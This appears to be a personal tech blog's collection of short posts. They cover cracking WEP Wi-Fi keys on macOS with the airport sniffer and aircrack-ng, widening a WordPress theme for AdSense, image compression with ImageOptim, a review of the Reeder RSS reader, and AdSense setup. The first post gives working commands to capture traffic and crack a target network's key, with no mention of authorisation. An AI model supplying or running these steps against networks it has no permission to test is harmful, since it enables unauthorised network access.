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Running airmon-ng in mountain lion!

aircrack-ngFor those of you who have no clue what is all of this about, Aircrack-ng is a command line tool that allows you to bruteforce WEP and WPA wi-fi password protections.

WEP being the easiest protection to break, and WPA the hardest. The difference?. WEP can be broken in… two days, give or take (probably less than that), while WPA could take months… without results!. Personally, everytime i needed to break a WEP protection, i had to boot a linux system. If you’re like me, and you’d rather staying in OSX, this is juuuuust for you.

I don’t wanna forget about this, so i’m writing this short guide, right here!

  1. Install Macports.
  2. Install aircrack-ng:
    sudo port install aircrack-ng
  3. Install the latest Xcode, with the Command Line Tools.
  4. Create the following symlink:
    sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
  5. Figure out which channel you need to sniff:
    sudo airport -s
  6. Open up a terminal and type:
    sudo airport en1 sniff [CHANNEL]
  7. Open up a seecond terminal and type:
    aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]

Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
Nice, right?

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Update:

I’ve been having issues while trying to crack a WEP key. I had over 100k IV’s… without luck. So i’ve attepted to crack the key with the KoreK algorithm (coded in aircrack-ng). And guess what!! i got the key!!. If you ever have the same problem, try this:

aircrack-ng -K -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]

Optimizing TwentyEleven for Adsense

Well… this one is pretty descriptive. You simply need to edit the file ‘style.css’, and update the following code:

.one-column #page {
   max-width: 960px;
/*    max-width: 690px; */
}

You’re also probably gonna need to set the Default Layout to ‘One Column’, and remove the right side widgets.

That way, Adsense’s best size (728×90) will fit riiight above or below every post. Which makes it look nice, i dare to say!.

Make your Website load Faster!

I had to optimize a website, a couple days ago. My goal was to lower the time required to load the website. So… i spent quite some time doing a quick research… and found this awesome tool, which by the way is free!.

Screen Shot 2013-01-21 at 11.08.54 AM

It’s called ImageOptim. You simply drag & drop the assets you’d like to compress, and the guy will do the rest. I’ve been able to compress most of the images i’ve got, to 50% of their original size.

So now… my websites load super fast. If you’re running Windows (or Linux)… you could try ImageMagick. Which, by the way, is excellent as well.

App Review: Reeder

I’ve tried several RSS Readers for Mac. Many of them are free… such as Google Reader, or Capuccino. But a couple weeks ago i sumbled upon Reeder. I dare to say… it’s the best RSS Reader you’ll be able to find, anywhere else.

Why is that?. Well, the UI is pretty awesome… take a look:

reeder

Reeder has several UI styles. Personally, i use the layout portraited above. You get your feed list on the left… the posts in the middle, and the actual post on the right.

Now here’s something interesting. If you click over a post, the app hides the Feed List, and automatically enhances the post itself. Reeder has also something super cool. It’s Gestures-Enabled, which means that you can just swipe to the left or right, and trigger several actions (of course, you can configure that).

Most important of all… you can connect Reeder to your Google Reader account, and that’s it, this guy is gonna keep everything in sync. You could run it across several OSX installations, and… everything will be in sync.

I know it ** might ** be a bit expensive, for a simple rss reader. But trust me, this ain’t no simple reader.. and i believe it’s totally worth it!.

Adding Adsense to your blog

This is probably trivial to everyone around, but i’d like to share it anyways.

  1. Signup for an account here: adsense.google.com
  2. Wait till you get the first ‘Site in Review’ mail.
  3. Once you got access to the Adsense main page, hit ‘My Ads’, and create a brand new ad.
  4. Copy the source code for the ad!.
  5. Install the required plugin…
    1. If you’re using WordPress, i suggest you try this plugin: http://wordpress.org/extend/plugins/quick-adsense/
    2. If you’re using Blogger, just hit the settings, it’s already integrated.
  6. Setup QuickAdsense (or Blogger). If you dare, you can always simply inject the ad-code yourself.

No matter what, please, remember the adsense guidelines. It’s pretty simple… don’t click your own ads, and.. don’t steal content!. That includes youtube music videos, and piracy.

Got it?